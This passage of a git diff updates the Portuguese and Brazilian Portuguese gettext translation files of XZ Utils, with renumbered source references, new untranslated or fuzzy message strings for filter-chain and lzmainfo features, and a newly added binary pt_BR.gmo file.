bugs. Thanks. -#: src/xz/message.c:1262 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Reporte erros em <%s> (em inglês ou finlandês).\n" "Relate erros de tradução em .\n" -#: src/xz/message.c:1264 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Página inicial %s: <%s>\n" -#: src/xz/message.c:1268 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "ESTA É UMA VERSÃO DE DESENVOLVIMENTO NÃO DESTINADA A USO EM PRODUÇÃO." -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Opções de filtro ou cadeia de filtros não suportadas" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: as opções devem ser pares \"nome=valor\" separados por vírgulas" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s: nome de opção inválido" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s: valor de opção inválido" @@ -930,24 +1151,15 @@ msgstr "Predefinição LZMA1/LZMA2 não suportada: %s" msgid "The sum of lc and lp must not exceed 4" msgstr "A soma de lc e lp não deve exceder 4" -#: src/xz/options.c:359 -#, c-format -msgid "The selected match finder requires at least nice=%" -msgstr "O localizador de correspondência seleccionado requer pelo menos nice=%" - -#: src/xz/suffix.c:133 src/xz/suffix.c:258 -#, c-format -msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" -msgstr "%s: com --format=raw, --suffix=.SUF é requerido, a menos que seja escrito em stdout" - -#: src/xz/suffix.c:164 +#: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s: nome de ficheiro com sufixo desconhecido, a ignorar" -#: src/xz/suffix.c:185 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#: src/xz/suffix.c:186 +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s: o ficheiro já tem o sufixo \"%s\", a ignorar" #: src/xz/suffix.c:393 @@ -955,45 +1167,107 @@ msgstr "%s: o ficheiro já tem o sufixo \"%s\", a ignorar" msgid "%s: Invalid filename suffix" msgstr "%s: sufixo de nome de ficheiro inválido" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s: o valor não é um inteiro decimal não-negativo" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s: sufixo multiplicador inválido" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "Sufixos válidos são \"KiB\" (2^10), \"MiB\" (2^20) e \"GiB\" (2^30)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "O valor da opção \"%s\" deve estar no intervalo [%, %]" -#: src/xz/util.c:267 -msgid "Empty filename, skipping" -msgstr "Nome de ficheiro vazio, a ignorar" - -#: src/xz/util.c:281 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "Dados comprimidos não podem ser lidos de um terminal" -#: src/xz/util.c:294 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "Dados comprimidos não podem ser escritos num terminal" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s: muito pequeno para um ficheiro .xz válido" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "A escrita para a saída padrão falhou" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Erro desconhecido" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Falha ao activar a Sandbox" + +# Espaços adicionados para manter alinhamento com mensagens adjacentes -- Rafael +#~ msgid "Memory usage limit for compression: " +#~ msgstr "Limite de uso de memória para compressão: " + +#, c-format +#~ msgid " Streams: %s\n" +#~ msgstr " Fluxos: %s\n" + +#, c-format +#~ msgid " Blocks: %s\n" +#~ msgstr " Blocos: %s\n" + +#, c-format +#~ msgid " Ratio: %s\n" +#~ msgstr " Rácio: %s\n" + +#, c-format +#~ msgid " Check: %s\n" +#~ msgstr " Verificação: %s\n" + +#~ msgid "" +#~ " Streams:\n" +#~ " Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" +#~ msgstr "" +#~ " Fluxos:\n" +#~ " Fluxo Blocos DesvioComp DesvioDescomp Tam.Comp TamDescomp Rácio Verif Espaço" + +#, c-format +#~ msgid "" +#~ " Blocks:\n" +#~ " Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" +#~ msgstr "" +#~ " Blocos:\n" +#~ " Fluxo Bloco DesvioComp DesvioDescomp Tam.Total TamDescomp Rácio Verif" + +#, c-format +#~ msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" +#~ msgstr " ValVerif %*s Cabeç. Band. Tam.Comp UsoMem. Filtros" + +#, c-format +#~ msgid "The selected match finder requires at least nice=%" +#~ msgstr "O localizador de correspondência seleccionado requer pelo menos nice=%" + #~ msgid "Sandbox is disabled due to incompatible command line arguments" #~ msgstr "A Sandbox está desactivada devido a argumentos de linha de comandos incompatíveis" diff --git a/po/pt_BR.gmo b/po/pt_BR.gmo new file mode 100644 index 00000000..c431a48c Binary files /dev/null and b/po/pt_BR.gmo differ diff --git a/po/pt_BR.po b/po/pt_BR.po index 2a083f0c..4a0c43a8 100644 --- a/po/pt_BR.po +++ b/po/pt_BR.po @@ -7,7 +7,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.4.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2023-01-13 20:21+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2023-01-12 14:40-0300\n" "Last-Translator: Rafael Fontenelle \n" "Language-Team: Brazilian Portuguese \n" @@ -29,117 +29,173 @@ msgstr "%s: Argumento inválido para --block-list" msgid "%s: Too many arguments to --block-list" msgstr "%s: Argumentos demais para --block-list" -#: src/xz/args.c:116 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0 só pode ser usado como o último elemento em --block-list" -#: src/xz/args.c:451 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s: Tipo de formato de arquivo desconhecido" -#: src/xz/args.c:474 src/xz/args.c:482 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s: Tipo de verificação de integridade sem suporte" -#: src/xz/args.c:518 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "Somente um arquivo pode ser especificado com \"--files\" ou \"--files0\"." -#: src/xz/args.c:586 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, fuzzy, c-format +#| msgid "%s: " +msgid "%s: %s" +msgstr "%s: " + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "A variável de ambiente %s contém argumentos demais" -#: src/xz/args.c:688 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "Suporte a compressão foi desabilitado em tempo de compilação" -#: src/xz/args.c:695 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "Suporte a descompressão foi desabilitado em tempo de compilação" -#: src/xz/args.c:701 +#: src/xz/args.c:792 msgid "Compression of lzip files (.lz) is not supported" msgstr "A compactação de arquivos lzip (.lz) não é suportada" -#: src/xz/coder.c:115 +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +#, fuzzy +#| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "%s: Com --format=raw, --suffix=.SUF é exigido, a menos que esteja escrevendo para stdout" + +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "O número máximo de filtros é quatro" -#: src/xz/coder.c:134 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "O limite de uso de memória é baixo demais para a configuração de filtro dada." -#: src/xz/coder.c:169 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "O uso de uma predefinição em modo bruto é desencorajado." -#: src/xz/coder.c:171 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "As opções exatas de predefinições podem variar entre versões do software." -#: src/xz/coder.c:194 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr "O formato .lzma possui suporte apenas ao filtro LZMA1" -#: src/xz/coder.c:202 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "LZMA1 não pode ser usado com o formato .xz" -#: src/xz/coder.c:219 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "A cadeia de filtros é incompatível com --flush-timeout" -#: src/xz/coder.c:225 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "Alternando para o modo de thread única por causa de --flush-timeout" -#: src/xz/coder.c:249 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Opções sem suporte" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "Usando até % threads." -#: src/xz/coder.c:265 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Opções de filtro ou cadeia de filtros sem suporte" -#: src/xz/coder.c:277 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "A descompressão precisará de %s MiB de memória." -#: src/xz/coder.c:309 +#: src/xz/coder.c:584 #, c-format msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" msgstr "Reduzido o número de threads de %s para %s para não exceder o limite de uso de memória de %s MiB" -#: src/xz/coder.c:329 +#: src/xz/coder.c:604 #, c-format msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." msgstr "Reduzido o número de threads de %s para um. O limite de uso de memória automática de %s MiB ainda está sendo excedido. %s MiB de memória é necessário. Continuando de qualquer maneira." -#: src/xz/coder.c:356 +#: src/xz/coder.c:631 #, c-format msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "Alternando para o modo de thread única para não exceder o limite de uso de memória de %s MiB" -#: src/xz/coder.c:411 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "Ajustado o tamanho de dicionário de LZMA%c de %s MiB para %s MiB para não exceder o limite de uso de memória de %s MiB" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "Ajustado o tamanho de dicionário de LZMA%c de %s MiB para %s MiB para não exceder o limite de uso de memória de %s MiB" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "Erro ao criar um pipe: %s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Erro ao criar um pipe: %s" -#: src/xz/file_io.c:235 -msgid "Failed to enable the sandbox" -msgstr "Falha ao habilitar o sandbox" - -#: src/xz/file_io.c:277 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() falhou: %s" @@ -154,252 +210,252 @@ msgstr "%s: poll() falhou: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:344 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: O arquivo parece ter sido movido, não será removido" -#: src/xz/file_io.c:351 src/xz/file_io.c:907 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Não foi possível remover: %s" -#: src/xz/file_io.c:377 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Não foi possível definir o dono do arquivo: %s" -#: src/xz/file_io.c:390 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Não foi possível definir o grupo do arquivo: %s" -#: src/xz/file_io.c:409 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Não foi possível definir as permissões do arquivo: %s" -#: src/xz/file_io.c:535 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Erro ao obter os sinalizadores de status da entrada padrão: %s" -#: src/xz/file_io.c:593 src/xz/file_io.c:655 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: É um link simbólico, ignorando" -#: src/xz/file_io.c:684 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: É um diretório, ignorando" -#: src/xz/file_io.c:690 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Não é um arquivo comum, ignorando" -#: src/xz/file_io.c:707 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: O arquivo possui o bit setuid ou setgid definido, ignorando" -#: src/xz/file_io.c:714 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: O arquivo possui o bit sticky definido, ignorando" -#: src/xz/file_io.c:721 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: O arquivo de entrada possui mais de um link físico, ignorando" -#: src/xz/file_io.c:763 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Nome de arquivo vazio, ignorando" -#: src/xz/file_io.c:817 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Erro ao restaurar os sinalizadores de status para entrada padrão: %s" -#: src/xz/file_io.c:865 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Erro ao obter os sinalizadores de status de arquivo da saída padrão: %s" -#: src/xz/file_io.c:1043 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Erro ao restaurar o sinalizador O_APPEND para a saída padrão: %s" -#: src/xz/file_io.c:1055 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Fechamento do arquivo falhou: %s" -#: src/xz/file_io.c:1091 src/xz/file_io.c:1354 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Busca falhou ao tentar criar um arquivo esparso: %s" -#: src/xz/file_io.c:1192 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Erro de leitura: %s" -#: src/xz/file_io.c:1222 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Erro ao buscar o arquivo: %s" -#: src/xz/file_io.c:1246 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Fim de arquivo inesperado" -#: src/xz/file_io.c:1305 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Erro de escrita: %s" -#: src/xz/hardware.c:238 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Desabilitado" -#: src/xz/hardware.c:269 +#: src/xz/hardware.c:268 msgid "Amount of physical memory (RAM):" msgstr "Quantidade total de memória física (RAM):" -#: src/xz/hardware.c:270 +#: src/xz/hardware.c:269 msgid "Number of processor threads:" msgstr "Número de threads de processador:" -#: src/xz/hardware.c:271 +#: src/xz/hardware.c:270 msgid "Compression:" msgstr "Compactação:" -#: src/xz/hardware.c:272 +#: src/xz/hardware.c:271 msgid "Decompression:" msgstr "Descompactação:" -#: src/xz/hardware.c:273 +#: src/xz/hardware.c:272 msgid "Multi-threaded decompression:" msgstr "Descompactação com várias threads:" -#: src/xz/hardware.c:274 +#: src/xz/hardware.c:273 msgid "Default for -T0:" msgstr "Padrão para -T0:" -#: src/xz/hardware.c:292 +#: src/xz/hardware.c:291 msgid "Hardware information:" msgstr "Informações de hardware:" -#: src/xz/hardware.c:299 +#: src/xz/hardware.c:298 msgid "Memory usage limits:" msgstr "Memory usage limits:" -#: src/xz/list.c:68 +#: src/xz/list.c:67 msgid "Streams:" msgstr "Fluxos:" -#: src/xz/list.c:69 +#: src/xz/list.c:68 msgid "Blocks:" msgstr "Blocos:" -#: src/xz/list.c:70 +#: src/xz/list.c:69 msgid "Compressed size:" msgstr "Tamanho compactado:" -#: src/xz/list.c:71 +#: src/xz/list.c:70 msgid "Uncompressed size:" msgstr "Tamanho não compactado:" -#: src/xz/list.c:72 +#: src/xz/list.c:71 msgid "Ratio:" msgstr "Proporção:" -#: src/xz/list.c:73 +#: src/xz/list.c:72 msgid "Check:" msgstr "Verificação:" -#: src/xz/list.c:74 +#: src/xz/list.c:73 msgid "Stream Padding:" msgstr "Ajuste do fluxo:" -#: src/xz/list.c:75 +#: src/xz/list.c:74 msgid "Memory needed:" msgstr "Memória exigida:" -#: src/xz/list.c:76 +#: src/xz/list.c:75 msgid "Sizes in headers:" msgstr "Tamanhos nos cabeçalhos:" -#: src/xz/list.c:79 +#: src/xz/list.c:78 msgid "Number of files:" msgstr "Número de arquivos:" -#: src/xz/list.c:122 +#: src/xz/list.c:121 msgid "Stream" msgstr "Fluxo" -#: src/xz/list.c:123 +#: src/xz/list.c:122 msgid "Block" msgstr "Bloco" -#: src/xz/list.c:124 +#: src/xz/list.c:123 msgid "Blocks" msgstr "Blocos" -#: src/xz/list.c:125 +#: src/xz/list.c:124 msgid "CompOffset" msgstr "DeslocComp" -#: src/xz/list.c:126 +#: src/xz/list.c:125 msgid "UncompOffset" msgstr "DeslocDescomp" -#: src/xz/list.c:127 +#: src/xz/list.c:126 msgid "CompSize" msgstr "TamComp" -#: src/xz/list.c:128 +#: src/xz/list.c:127 msgid "UncompSize" msgstr "TamDescomp" -#: src/xz/list.c:129 +#: src/xz/list.c:128 msgid "TotalSize" msgstr "TamTotal" -#: src/xz/list.c:130 +#: src/xz/list.c:129 msgid "Ratio" msgstr "Proporção" -#: src/xz/list.c:131 +#: src/xz/list.c:130 msgid "Check" msgstr "Verificação" -#: src/xz/list.c:132 +#: src/xz/list.c:131 msgid "CheckVal" msgstr "ValorVerific." -#: src/xz/list.c:133 +#: src/xz/list.c:132 msgid "Padding" msgstr "Preench." -#: src/xz/list.c:134 +#: src/xz/list.c:133 msgid "Header" msgstr "Cabeçalho" -#: src/xz/list.c:135 +#: src/xz/list.c:134 msgid "Flags" msgstr "Sinalizadores" -#: src/xz/list.c:136 +#: src/xz/list.c:135 msgid "MemUsage" msgstr "UsoMem" -#: src/xz/list.c:137 +#: src/xz/list.c:136 msgid "Filters" msgstr "Filtros" @@ -407,7 +463,7 @@ msgstr "Filtros" #. This string is used in tables. In older xz version this #. string was limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:169 +#: src/xz/list.c:168 msgid "None" msgstr "Nenhuma" @@ -415,71 +471,71 @@ msgstr "Nenhuma" #. but the Check ID is known (here 2). In older xz version these #. strings were limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:175 +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "Incógnito2" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:176 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "Incógnito3" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:178 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "Incógnito5" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:179 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "Incógnito6" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:180 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "Incógnito7" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:181 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "Incógnito8" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:182 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "Incógnito9" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:184 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "Incógnito11" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:185 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "Incógnito12" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:186 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "Incógnito13" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:187 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "Incógnito14" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:188 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "Incógnito15" -#: src/xz/list.c:351 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s: O arquivo está vazio" -#: src/xz/list.c:356 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s: Pequeno demais para ser um arquivo .xz válido" @@ -488,41 +544,45 @@ msgstr "%s: Pequeno demais para ser um arquivo .xz válido" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:730 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr "Fluxos Blocos Comprimido Descomprimid Propo Verif Nome de Arquivo" -#: src/xz/list.c:1025 src/xz/list.c:1203 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Sim" -#: src/xz/list.c:1025 src/xz/list.c:1203 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "Não" -#: src/xz/list.c:1027 src/xz/list.c:1205 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " Versão mínima do XZ Utils: %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1178 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s arquivo\n" msgstr[1] "%s arquivos\n" -#: src/xz/list.c:1191 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "Totais:" -#: src/xz/list.c:1269 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list funciona apenas em arquivos .xz (--format=xz ou --format=auto)" -#: src/xz/list.c:1275 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list não possui suporte a leitura da entrada padrão" @@ -537,15 +597,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Fim da entrada inesperado ao ler nomes de arquivos" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Caractere nulo encontrado ao ler nomes de arquivos; talvez você queria usar \"--files0\" em vez de \"--files\"?" -#: src/xz/main.c:188 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Ainda não há suporte a compressão e descompressão com --robot." -#: src/xz/main.c:266 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Não é possível ler dados da entrada padrão ao ler nomes de arquivos da entrada padrão" @@ -553,68 +614,69 @@ msgstr "Não é possível ler dados da entrada padrão ao ler nomes de arquivos #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Erro interno (bug)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Não foi possível estabelecer manipuladores de sinais" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Sem verificação de integridade; não será verificada a integridade do arquivo" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Tipo de verificação de integridade sem suporte; não será verificada a integridade do arquivo" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Limite de uso de memória alcançado" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Formato de arquivo não reconhecido" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Opções sem suporte" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Os dados comprimidos estão corrompidos" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Fim da entrada inesperado" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB de memória é necessário. O limitador está desabilitado." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB de memória é necessário. O limite é %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Cadeia de filtros: %s\n" -#: src/xz/message.c:935 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Tente \"%s --help\" para mais informações." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -625,15 +687,15 @@ msgstr "" "Comprime e descomprime ARQUIVOs no formato .xz.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "Argumentos 